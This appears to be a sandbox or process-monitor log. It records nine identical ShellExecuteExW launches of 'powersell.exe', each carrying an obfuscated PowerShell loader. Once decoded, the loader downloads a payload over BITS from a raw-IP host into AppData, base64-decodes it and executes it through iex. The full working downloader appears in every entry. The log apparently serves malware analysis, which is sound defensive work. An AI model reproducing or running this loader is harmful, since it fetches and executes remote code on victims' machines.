parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
